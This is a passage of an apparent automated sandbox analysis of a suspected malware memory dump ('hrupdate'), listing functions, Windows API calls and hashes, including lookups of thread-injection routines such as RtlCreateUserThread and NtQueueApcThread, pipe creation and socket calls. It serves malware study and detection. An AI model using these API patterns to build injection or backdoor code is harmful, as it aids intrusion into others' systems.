Instruction ID: 24f2442ed42dace21bbc3a1ff21a4e321d9dbfb6fe0e55a2555e0680b6f12814
Opcode Fuzzy Hash: 261b1f6c56f1502dbb40fc6f81c5490ee20d3b3bc17996db55e7cc90c68e683b
Instruction Fuzzy Hash: C001A231981B15AAEB30BF70D808BDE3A64DF027A8F10114DE444A6180FE39BC91CF98

Function 0469C6FE Relevance: 7.5, APIs: 5, Instructions: 40sleeppipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0469C70B
GetTickCount.KERNEL32 ref: 0469C712
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 0469C725
Sleep.KERNEL32(0000000A), ref: 0469C736
GetTickCount.KERNEL32 ref: 0469C73C

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CountTick$NamedPeekPipeSleep
String ID:
API String ID: 1593283408-0
Opcode ID: 113f8be80ec3967db2366ba072c34bdcc77bb3b9a41b5a09276811d8da61a5ab
Instruction ID: 83791948a195717184f838a9f391cd3665304f43676236a3b5b9c6d09a809eff
Opcode Fuzzy Hash: 113f8be80ec3967db2366ba072c34bdcc77bb3b9a41b5a09276811d8da61a5ab
Instruction Fuzzy Hash: A5F01272710118BFEF015AA9DC848BE77EEDB46695B140836F601D7501F7B4AD429BA0

Function 046A3BBA Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 157fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 046A3C43
SetLastError.KERNEL32(00000001), ref: 046A3D6D
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,04697D15,00000000,00000000,04697D15,00000000,?,0469BDEB,?,00000000,759223A0), ref: 046A3D88

Strings

/v, xrefs: 046A3BE2, 046A3CEE

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLast_memset
String ID: /v
API String ID: 2444439657-2755232556
Opcode ID: 5d7f1562952fe6a0cf27be315c0925c4f75ea138dded658f9fbeaac41b7cdee4
Instruction ID: 7c5758cdc519cbc936e83696768cde3ed06ddbab633903af3ceaa5407ed9e334
Opcode Fuzzy Hash: 5d7f1562952fe6a0cf27be315c0925c4f75ea138dded658f9fbeaac41b7cdee4
Instruction Fuzzy Hash: B4517D71D01618EBDB21DFA4D841ADEBBB9FB08750F105156E605F7240E734AE94CFA1

Function 04696555 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000008,00000000,00000001), ref: 04696646
LoadLibraryA.KERNEL32(00000000), ref: 04696651
GetProcAddress.KERNEL32(00000000,00000000), ref: 04696659

Part of subcall function 04696B06: _vswprintf_s.LIBCMT ref: 04696B22

Strings

%s!%s, xrefs: 046966B7

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: AddressHandleLibraryLoadModuleProc_vswprintf_s
String ID: %s!%s
API String ID: 2092861438-2935588013
Opcode ID: bde06cd086e9320f8f02fbcd96365bb6f33ec0c2a1bc6e6f62ee81ef2495d9c6
Instruction ID: ee97cd1fb66f6324134e87b4e450d8d432fc97582637d2cbd45b175a8abacc13
Opcode Fuzzy Hash: bde06cd086e9320f8f02fbcd96365bb6f33ec0c2a1bc6e6f62ee81ef2495d9c6
Instruction Fuzzy Hash: 6B41F3B2A042109BEF18CF60C584A6A77FDEB54360F25405ADA02AB385FBB4FC02CB55

Function 046A3540 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,046960E2,046DA64C,000002F0,?,00000000,0469632B,?,00000001,?,00000008,00000001), ref: 046A35B0

Part of subcall function 0469A042: _malloc.LIBCMT ref: 0469A048

Part of subcall function 04699F1A: _malloc.LIBCMT ref: 04699F5B
Part of subcall function 04699F1A: _memset.LIBCMT ref: 04699F6C
Part of subcall function 04699F1A: _memset.LIBCMT ref: 04699FB7
Part of subcall function 04699F1A: _memset.LIBCMT ref: 0469A00C

Strings

0-v, xrefs: 046A3587

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset$_malloc$CurrentProcess
String ID: 0-v
API String ID: 2562913181-620404996
Opcode ID: 881f41b36a4a6e576871e8e1491b60078e213c58b7c0a5cbe2fd437e47505c32
Instruction ID: 926b85a797b6e23d5b7e9a71c1fd83da27f3e5522f6e61376ac5af2c9d8728c0
Opcode Fuzzy Hash: 881f41b36a4a6e576871e8e1491b60078e213c58b7c0a5cbe2fd437e47505c32
Instruction Fuzzy Hash: EB11A971A416096FEF149FA8FC44BA937D9EB09364F105459FA088A781FB79ECA0CE50

Function 046A1A92 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 046A1A9D
GetCurrentProcess.KERNEL32(04695C1C), ref: 046A1AB7

Part of subcall function 046A19FA: _memset.LIBCMT ref: 046A1A14
Part of subcall function 046A19FA: __snprintf.LIBCMT ref: 046A1A73

Strings

system32, xrefs: 046A1AE2
syswow64, xrefs: 046A1AD0

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset$CurrentProcess__snprintf
String ID: system32$syswow64
API String ID: 3270679572-3098820961
Opcode ID: 5e1dff853485e2356264185b788a019488daa93f1e7be2ea17759047c9e107f3
Instruction ID: 1062d58b7f5d4c72ba1b276587dc09fceb9d6645271fb2f26352ca2e1e956e61
Opcode Fuzzy Hash: 5e1dff853485e2356264185b788a019488daa93f1e7be2ea17759047c9e107f3
Instruction Fuzzy Hash: 1DF08231644B047EFB04AB50EC06BF93248EF12719F14415DFA09563C1FEAABD508DAD

Function 0469B6CA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,RtlCreateUserThread,?,?,?,0469ADD1,?,00000000,0469AF20,00000000,?,?,0469AF20,00000000,?,00000000), ref: 0469B6E0
GetProcAddress.KERNEL32(00000000), ref: 0469B6E7

Strings

ntdll.dll, xrefs: 0469B6D8
RtlCreateUserThread, xrefs: 0469B6D1

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: RtlCreateUserThread$ntdll.dll
API String ID: 1646373207-2935400652
Opcode ID: 697a8f8fff3f1a1306e6b535903fd3fde5ccde3c7ea36cfafaafdf01725dd7b7
Instruction ID: c67fbb4ccf0227ec01c8c828d8ec572ac0ab83b7540bb17928e48afb6aeec63f
Opcode Fuzzy Hash: 697a8f8fff3f1a1306e6b535903fd3fde5ccde3c7ea36cfafaafdf01725dd7b7
Instruction Fuzzy Hash: 76F0A032901115FBCF00EFE1DC098EE7F69EF01A10B008504F40196100F278AB10DFE0

Function 0469965A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04699665

Part of subcall function 046AEA1B: __FF_MSGBANNER.LIBCMT ref: 046AEA3E
Part of subcall function 046AEA1B: __NMSG_WRITE.LIBCMT ref: 046AEA45
Part of subcall function 046AEA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 046AEA92

__snprintf.LIBCMT ref: 04699679
RemoveDirectoryA.KERNEL32(00000000), ref: 04699688

Strings

%s\%s, xrefs: 04699672

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: AllocateDirectoryHeapRemove__snprintf_malloc
String ID: %s\%s
API String ID: 3163426766-4073750446
Opcode ID: 3ae1250d392db538c0f49c8971b95b5cf29181bc78ac7abeba04d109b085f114
Instruction ID: c2dfdee13d191998020813252c39efb1fe6b9889249f17ba0744d0794979a676
Opcode Fuzzy Hash: 3ae1250d392db538c0f49c8971b95b5cf29181bc78ac7abeba04d109b085f114
Instruction Fuzzy Hash: D8E09A36600614B6EB213A56EC08ABE7B6CDB82665F10402EF90C55200BAB67D619DBA

Function 0469B2EE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll,NtQueueApcThread,?,0469AEB5,00000000,0469AF20), ref: 0469B2FB
GetProcAddress.KERNEL32(00000000), ref: 0469B302

Strings

ntdll, xrefs: 0469B2F6
NtQueueApcThread, xrefs: 0469B2F1

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: NtQueueApcThread$ntdll
API String ID: 1646373207-1374908105
Opcode ID: 0ece6744af8924afe03171ec23c3bea2764553c5720040d11043c024c119d79a
Instruction ID: 89ef36bbf1c458f651ef11c45edb5905a152a0db59f85a7b8b6a9c784e0a65aa
Opcode Fuzzy Hash: 0ece6744af8924afe03171ec23c3bea2764553c5720040d11043c024c119d79a
Instruction Fuzzy Hash: F8E092363842067BDF212AB5AC06BAA3B9DDF01E25F008519F119D4591F6A1F8105E04

Function 0469897E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,0469CE82), ref: 04698990
GetProcAddress.KERNEL32(00000000), ref: 04698997

Strings

kernel32, xrefs: 0469898B
IsWow64Process, xrefs: 04698986

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsWow64Process$kernel32
API String ID: 1646373207-3789238822
Opcode ID: 0bde6aa1f94bdee4ff96030f9a5aab6add02c6c79f76553058e2f3ad3934a293
Instruction ID: 3da05fdd23ae8816d7cfbb3161dc612fa7d0328602b6265e514006e20d854fa9
Opcode Fuzzy Hash: 0bde6aa1f94bdee4ff96030f9a5aab6add02c6c79f76553058e2f3ad3934a293
Instruction Fuzzy Hash: 63E0EC7066020ABBDF10DBE6DD0AAAE76ACDB1164DF504198B405E2541FBB8EE009E21

Function 04699A64 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32,Wow64DisableWow64FsRedirection,?,046978D7,?), ref: 04699A71
GetProcAddress.KERNEL32(00000000), ref: 04699A78

Strings

kernel32, xrefs: 04699A6C
Wow64DisableWow64FsRedirection, xrefs: 04699A67

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$kernel32
API String ID: 1646373207-736604160
Opcode ID: 5a49498c5a820034bf648ae6e702cbe76eb99ee522eb7596ef60178a8b5023fe
Instruction ID: 413fcac1d333ef0dd3699f76dd3dd11ff871dd77169f097209fc8aecba676a57
Opcode Fuzzy Hash: 5a49498c5a820034bf648ae6e702cbe76eb99ee522eb7596ef60178a8b5023fe
Instruction Fuzzy Hash: C9C08CB034030A7FDF106BE3EC0D9BA7E5CDA62B42B004058B419C1A02FEA9EC008EA0

Function 04699A89 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,?,046978F8,?,00000000,00000002), ref: 04699A96
GetProcAddress.KERNEL32(00000000), ref: 04699A9D

Strings

Wow64RevertWow64FsRedirection, xrefs: 04699A8C
kernel32, xrefs: 04699A91

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64RevertWow64FsRedirection$kernel32
API String ID: 1646373207-3900151262
Opcode ID: da7e26dc4257aeb35069b0bd5307274819d59671f4ed958a82dec33a31abcf54
Instruction ID: ccc38b7597fab84f45df9149371685e78a2869fe73d07e5b649ce33670644092
Opcode Fuzzy Hash: da7e26dc4257aeb35069b0bd5307274819d59671f4ed958a82dec33a31abcf54
Instruction Fuzzy Hash: 4BC012B03402057FAF102BE2EC0D96A3E5CD912A513004054B51980503FA6AAC045D50

Function 046992F3 Relevance: 6.1, APIs: 4, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 0469CF5F: _malloc.LIBCMT ref: 0469CF65
Part of subcall function 0469CF5F: _malloc.LIBCMT ref: 0469CF75

Part of subcall function 046AF48E: __fsopen.LIBCMT ref: 046AF49B

_fseek.LIBCMT ref: 04699369

Part of subcall function 046AFAC8: __lock_file.LIBCMT ref: 046AFAD7
Part of subcall function 046AFAC8: __ftelli64_nolock.LIBCMT ref: 046AFAE4

_fseek.LIBCMT ref: 04699382

Part of subcall function 046AFE59: __lock_file.LIBCMT ref: 046AFEA4
Part of subcall function 046AFE59: __fseek_nolock.LIBCMT ref: 046AFEB4

GetFullPathNameA.KERNEL32(?,00000800,?,00000000), ref: 046993AF
_malloc.LIBCMT ref: 046993C9

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _malloc$__lock_file_fseek$FullNamePath__fseek_nolock__fsopen__ftelli64_nolock
String ID:
API String ID: 73014519-0
Opcode ID: 463790fcb7e1952410b4101f349d9a1c61c8a87c2f6985760faf9e328845c1d5
Instruction ID: de054e1f6d40ab37cde3639e0806cea2279c3edc7c290ccb7cb8f14424b74ee3
Opcode Fuzzy Hash: 463790fcb7e1952410b4101f349d9a1c61c8a87c2f6985760faf9e328845c1d5
Instruction Fuzzy Hash: 264189B2D00208BAEF11AFA4CC81E9E77FCEF44724F10452EE505A2290F6B5AE558B55

Function 046985C1 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fd0a65c83d115450ce9c2b603e14e9273bcb6974a98c24a2170c73e8f527c5e
Instruction ID: b00af296f3152853fb29911b4a87c1fc5e3f1ae407c3d79a4ddaeeac4fa3556b
Opcode Fuzzy Hash: 3fd0a65c83d115450ce9c2b603e14e9273bcb6974a98c24a2170c73e8f527c5e
Instruction Fuzzy Hash: AE419F72C00109FFEF01BBA4DC409DEBBBDEF05218F14402AE805A7250FB75AE559B99

Function 046AF4A5 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 046AF569
__fileno.LIBCMT ref: 046AF589
__locking.LIBCMT ref: 046AF590
__flsbuf.LIBCMT ref: 046AF5BB

Part of subcall function 046B0E0C: __getptd_noexit.LIBCMT ref: 046B0E0C

Part of subcall function 046B2DF7: __decode_pointer.LIBCMT ref: 046B2E02

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: db026ff494a3457978239db1d965547ff14943b162c60d0616ecb1d5d1b74f91
Instruction ID: ba02d42d144e7a9ed8d4698a4ebbef6e7bd94d603d8fb21e14532e51323ce76f
Opcode Fuzzy Hash: db026ff494a3457978239db1d965547ff14943b162c60d0616ecb1d5d1b74f91
Instruction Fuzzy Hash: 9541A131A00B04ABDB28DF69C88459EB7B6EFA0324B248569D45597240F770FE61CF5A

Function 04695FB0 Relevance: 6.1, APIs: 4, Instructions: 137memoryCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000002F0,?,00000000,0469632B,?,00000001,?,00000008,00000001), ref: 04696015
_memset.LIBCMT ref: 0469604A
HeapFree.KERNEL32(046DA654,00000000,046DA64C,000002F0,?,00000000,0469632B,?,00000001,?,00000008,00000001), ref: 046960F7
HeapDestroy.KERNEL32(?,00000008,00000001), ref: 04696103

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: Heap$DestroyErrorFreeLast_memset
String ID:
API String ID: 4224181572-0
Opcode ID: dfe79da16a346a27ab18ea6140bd23db496c296b4ee7f825088e2d4691623569
Instruction ID: 3dd23c9b2e9c9e7cf9a355a6d58fd2e44280e7f55bd12d6c6b54d9e946bd7207
Opcode Fuzzy Hash: dfe79da16a346a27ab18ea6140bd23db496c296b4ee7f825088e2d4691623569
Instruction Fuzzy Hash: EA410672A04304FFEF306E95ED849BA77ECEB11314F00002EE94186282F6B9BD829B54

Function 04699BE2 Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04699BF7
htonl.WS2_32(00000080), ref: 04699C14

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memsethtonl
String ID:
API String ID: 4002686732-0
Opcode ID: d0d0142262ed959312338a7ba46f3b644e141d642c05e48686352c908d0ee922
Instruction ID: 1837331aa0889d8563175979be93e44545bb6c7b83d870d7d3ad894b2c2a50db
Opcode Fuzzy Hash: d0d0142262ed959312338a7ba46f3b644e141d642c05e48686352c908d0ee922
Instruction Fuzzy Hash: B641B7F1E01614DEEF109BA4DC85AAE7BE8EB15714F18442EE508DB341F2B8AD49CB51

Function 04697EEB Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

APIs

htonl.WS2_32(?), ref: 04697FA0
htonl.WS2_32(?), ref: 04697FAA
_malloc.LIBCMT ref: 04697FC1

Part of subcall function 046AEA1B: __FF_MSGBANNER.LIBCMT ref: 046AEA3E
Part of subcall function 046AEA1B: __NMSG_WRITE.LIBCMT ref: 046AEA45
Part of subcall function 046AEA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 046AEA92

_memset.LIBCMT ref: 04698025

Part of subcall function 046A0F96: __snprintf.LIBCMT ref: 046A1014
Part of subcall function 046A0F96: __snprintf.LIBCMT ref: 046A1026

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: __snprintfhtonl$AllocateHeap_malloc_memset
String ID:
API String ID: 1734027086-0
Opcode ID: 313c5db141e0b786e5b2f4ebea26255004641466c765aaf7824269a2fbcf47a4
Instruction ID: 4de2c3b45699d16a1dd8d47cec66ebac8880dfa67a97ebcf53e9553f87c17bfd
Opcode Fuzzy Hash: 313c5db141e0b786e5b2f4ebea26255004641466c765aaf7824269a2fbcf47a4
Instruction Fuzzy Hash: 5A412B21D04289E9FB11A7F8D804BEFBFE85F12308F04409DD4807B282F6B96E4597B6

Function 04699F1A Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04699F5B
_memset.LIBCMT ref: 04699F6C
_memset.LIBCMT ref: 04699FB7
_memset.LIBCMT ref: 0469A00C

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset$_malloc
String ID:
API String ID: 3506388080-0
Opcode ID: 9cbb831c65a7ccb45ac858326507713e96d3132d127c6e72245562bb4a511a0c
Instruction ID: d77c880217750b34a5ca8418479edd503e906ac37473ae97204610e8ec3701c0
Opcode Fuzzy Hash: 9cbb831c65a7ccb45ac858326507713e96d3132d127c6e72245562bb4a511a0c
Instruction Fuzzy Hash: EF41B271900701EBEF21DF58C880A9AF7E9EF94318F24842DD959A7351F7B1BD048B41

Function 0469BED6 Relevance: 6.1, APIs: 4, Instructions: 117sleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0469BEF6
_memset.LIBCMT ref: 0469BF08

Part of subcall function 0469D036: htons.WS2_32(?), ref: 0469D04E

Part of subcall function 0469BE32: GetLastError.KERNEL32(-0000EA60,?,?,04697D15,?,?), ref: 0469BE4D

Sleep.KERNEL32(000001F4), ref: 0469BFA8
GetLastError.KERNEL32 ref: 0469BFB4

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: ErrorLast_memset$Sleephtons
String ID:
API String ID: 2264653377-0
Opcode ID: 581133600f03240e857dad08e67f8d931d653a9d53e888cfe240fa6038e488b6
Instruction ID: 0357c9448745cc3b0d706dc6f49ee3201110a5d6f558b3b3e3bfaf2b4c0e0356
Opcode Fuzzy Hash: 581133600f03240e857dad08e67f8d931d653a9d53e888cfe240fa6038e488b6
Instruction Fuzzy Hash: 0D3170729042096EEF15EBE0EC41EEE77FCEF05754F10006AE644A6180FAB1BE488B65

Function 046A1E17 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 046A1E25

Part of subcall function 046AEC25: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,046A1BCD,00000000,00000080,00000000,00000000,?,?,?,046945CD,?,00000000,00000000), ref: 046AEC30
Part of subcall function 046AEC25: __aulldiv.LIBCMT ref: 046AEC50

__time64.LIBCMT ref: 046A1E40
__time64.LIBCMT ref: 046A1ED3
__time64.LIBCMT ref: 046A1F29

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: __time64$Time$FileSystem__aulldiv
String ID:
API String ID: 4218076520-0
Opcode ID: 98f2517918c09d52a25b419c6602dffc8ff61a76687718f2b86298891feb9c4c
Instruction ID: 4d4a865d2239358ac649744cd2cf182a62705414095c4dae04f49f3ff485ccb1
Opcode Fuzzy Hash: 98f2517918c09d52a25b419c6602dffc8ff61a76687718f2b86298891feb9c4c
Instruction Fuzzy Hash: 4A415CB1D05A41DFC314DFA9E1808A9BBF4FB95308B10A16FD426A7290FB39AD95CF04

Function 0469A51F Relevance: 6.1, APIs: 4, Instructions: 108sleeppipeCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0469A53A
CreatePipe.KERNEL32(?,?,?,00100000), ref: 0469A571
GetStartupInfoA.KERNEL32(?), ref: 0469A57B
Sleep.KERNEL32(00000064), ref: 0469A5C5

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CreateInfoPipeSleepStartup_memset
String ID:
API String ID: 112726305-0
Opcode ID: 7aa6b3eb46db443fe8da212810350116c20f9b1398704c2f6a9a0f05e67bb74c
Instruction ID: 8a9e662c097a3f596ff3a24ac9d8518a3256f578de3cdb2ba9b2f4d23c9d1605
Opcode Fuzzy Hash: 7aa6b3eb46db443fe8da212810350116c20f9b1398704c2f6a9a0f05e67bb74c
Instruction Fuzzy Hash: 0D316C72800109AFEF01EFA4DD05ADE7BF9FF08314F104119FA14A6150EBB6AE659F55

Function 0469B71B Relevance: 6.1, APIs: 4, Instructions: 104COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0469B734
GetVersionExA.KERNEL32(?,?,?,0469AF20), ref: 0469B74D
SetLastError.KERNEL32(00000005,?,?,0469AF20), ref: 0469B772
SetLastError.KERNEL32(00000006,?,?,?,?,00000000,?,?,?,?,?,?,?,0469AF20), ref: 0469B802

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: ErrorLast$Version_memset
String ID:
API String ID: 452624306-0
Opcode ID: cc9db6a7d0ce1bf0b7a964ead605fe79bce6d183bdf3d57d16832e3664883c7b
Instruction ID: dd539d52b3f8255266db64c480af95d6bb2eb062e5a45095d17f37f143f1c065
Opcode Fuzzy Hash: cc9db6a7d0ce1bf0b7a964ead605fe79bce6d183bdf3d57d16832e3664883c7b
Instruction Fuzzy Hash: 0831A671A40114AAEB309E759C45F9B7AF8FB45B10F1004A8E60DEB241F6B4BD458BA5

Function 046B9A98 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 046B9ACC
__isleadbyte_l.LIBCMT ref: 046B9B00
MultiByteToWideChar.KERNEL32(6DE0E035,00000009,046C755C,FFFFFB4C,046C755C,00000000,?,?,?,04696E94,046C755C,046C755C,00000000), ref: 046B9B31
MultiByteToWideChar.KERNEL32(6DE0E035,00000009,046C755C,00000001,046C755C,00000000,?,?,?,04696E94,046C755C,046C755C,00000000), ref: 046B9B9F

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: e929438e7dae5660e9a83ab38a6b1dc0f632e1a697cdd9dbaa1a46a837944e44
Instruction ID: 3f4b3b9a14e542ebd892e7765c91a7e61a8f2d38d1eeac328bcac1a57501bd12
Opcode Fuzzy Hash: e929438e7dae5660e9a83ab38a6b1dc0f632e1a697cdd9dbaa1a46a837944e44
Instruction Fuzzy Hash: 0931A071604246EFDB20DF64CC90AFA7BB4FF01310F184569E6A19B291F330E984DB90

Function 046A3F47 Relevance: 6.1, APIs: 4, Instructions: 79sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,00000080,00000000,00000000,?,?,046949A6), ref: 046A3FAE
RtlExitUserThread.NTDLL(00000000,00000080,00000000,00000000,?,?,046949A6), ref: 046A3FE7
WaitForSingleObject.KERNEL32(00000000,?,?,046949A6), ref: 046A4003
ExitProcess.KERNEL32 ref: 046A400F

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: Exit$ObjectProcessSingleSleepThreadUserWait
String ID:
API String ID: 845863014-0
Opcode ID: 93fc1181961c66d2905de0dc8f6fcf4a67ab6640634f1fe32370de7c926f8147
Instruction ID: ec67e3a3bc7fae3402bfd2f0ebcc4cee5b68726d7202170418579abe1d24960c
Opcode Fuzzy Hash: 93fc1181961c66d2905de0dc8f6fcf4a67ab6640634f1fe32370de7c926f8147
